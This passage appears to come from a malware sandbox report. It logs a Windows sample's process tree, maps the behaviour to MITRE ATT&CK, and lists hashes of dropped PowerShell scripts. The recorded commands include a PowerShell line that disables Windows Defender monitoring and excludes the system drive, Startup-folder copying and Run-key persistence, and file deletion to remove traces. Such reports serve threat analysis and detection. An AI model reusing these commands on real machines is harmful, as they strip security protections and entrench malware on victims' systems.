        PID:3752
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4480
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\bs21110088121812100-00111.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1200
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1620
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4500
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1520
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi5e01.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2716
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3460
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi5e1b.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:384
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4108
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui5e01.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4668
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1724
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui5e1b.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2956
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3964
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mlqnl.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2216
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4956
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mpbqd_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3064
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3632
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mrmsc.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1736
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1432
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vtczg.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4980
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3648
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\yxhpf.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1684
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4056
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2324
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\vtczg.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtczg.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2264
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3740
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\vtczg.js & del "1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5060
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\vtczg.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2836
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\vtczg.js"
        6⤵
        
        PID:5080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pkurj.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1784
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\djlpa.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:936
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\chujt.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4104
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\vtczg.js"
        6⤵
        
        PID:3980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chujt.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\chujt.ps1
Size 320B
SHA256 9235e76825390e1c3edbee76a875d7ca0867129a4967b297a95aaeb08e21c2a9
MD5 09e574e9c1f1e8a2f3625c618bd02443
SHA1 d976a75955ff8c109869e2b2e937cdb343b42c26
SHA512 48856e7af28c82499e544593f2703e794f1ed3d6208b2f8dc82a86875900e978d489370e37513e5b82a9c2e979f44529d8972d7fbc0a64eca1b3d62caf74e4d4
TLSH
T1FDE026103CA686B88963D836A296ABB0CAA3E92C334D1101736A864FF700A2A546C65C
MD5 SHA1 SHA512 TLSH

Submit Download

djlpa.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\djlpa.ps1
Size 19.7MB
SHA256 6f07302da9c0dafe03d2a77d204820cbb209d988454b252cb1f8b5f497addcf8
MD5 c636156e795e57da5d0a8f380d1d662a
SHA1 62999e5e2c6dd08dbd60762389df587a6684efdb
SHA512 a674f0f7abfe6c012f3ac6d74b066a85820949f5d4bc642175fbc692cc9726b30dbc2e1ec1202293137f841b29598a0361d09afcbfd1a85b866fa43676438ede
SSDEEP 3072:05gb84nFwzX7O/cgVSPhCJIgP3CqwuzxhM/XP5vFpJga3d9dD5lGUcg6zfkWg+AY:T
TLSH
T19F270E3DCEE8423EC2B7C929D9CA4A17F85A092B230CFD4A64D773975527183BCA215D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pkurj.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pkurj.ps1
Size 418B
SHA256 91d7a4da032f878571431f3cef9ac81b3b83010fd0ad1627983de03241a48a97
MD5 21766c5f0dd1665d51fabaa592f4a11b
SHA1 81ea0937be0235237c0f615e11254c7e3ef13c5a
SHA512 356c57ae6e8b553b484edf2546195a462a48b570ba226ec5c9be7ad245baa61350d067d5b15b0d8628667e6b8e7d8d3f7636e4e5c09d1401e1d3f57febb4f5a3
TLSH
T129E0AB00B914427DCAD2A42083827AB0CB77C25C73281201336FCB0FF20861B407D3A6
MD5 SHA1 SHA512 TLSH

Submit Download

rhxxc.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhxxc.ps1
Size 423B
SHA256 3bc168805af760e05e39ba4e5990ed4f5db3f81754e5a82da12ca31b76d6664a
MD5 7e9461c9d5eb759f578c7d7d7df030c8
SHA1 3aae21d1cac53c313f61682285b9785212c7d703
SHA512 361e0677626175af15b3c9e63ece7ea1fcfcef78d80dc2c4a0de4171460f1bb06d1b7c2d04b37153d0c9f0ce859a356e3b6e90baddeeed508d02b32d4a5cce77
TLSH
T140E05500B9105269CA92A42083926AB48A6BC25C73281201336A8B0FF208A1B906D3AA
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0efbc3f52be05589456c88ee60a6634821ebc8e3ccbbddff61852e730274a07d
MD5 f3716fad8e309b893f8492cc6ab4881d
SHA1 e0424a5d87ede0595d7058b8735a686c2bb226fb
SHA512 a5fbc3b5b9ce6bab0dd7c8a3a85d9e499bbd29bd7914cf736d7aac5193e7531bb8578b9a8bb86418a1d8c42d3423e36622ea3e2c8f12043fc4dcd714064d28c2
TLSH
T16B71FE323275B0D4C9663F07192C19C463BF4396EA94AF4CB658620ED92B04BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 4dc468fa1a871b65e797ba5bc083d32ba8e6eebb29773718cc281a7753f2d99f
MD5 bba77e741f173c372050c7e9c12fcf1a
SHA1 58e612a0cecdd6f39e696c2e750ff0af2c21834c
SHA512 0a5423cf8ce936a3b53b6f04c1cb5b48ee4b8407df6bf23bc3819a5051fcfaba62f99661fd19d61aa0e023f9e83c04db3ab37de2245b5cf144b2037acaaf96cf
SSDEEP 1536:LflJdFinHzwWYyYkfv3QfKQiUpeyV11ODa5dbN++jH0YILMxCw3bibjoRjdvR7Ms:LflJdEnHzPYyYkfv3QfKQiUpeyV11ODK
TLSH
T14D537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download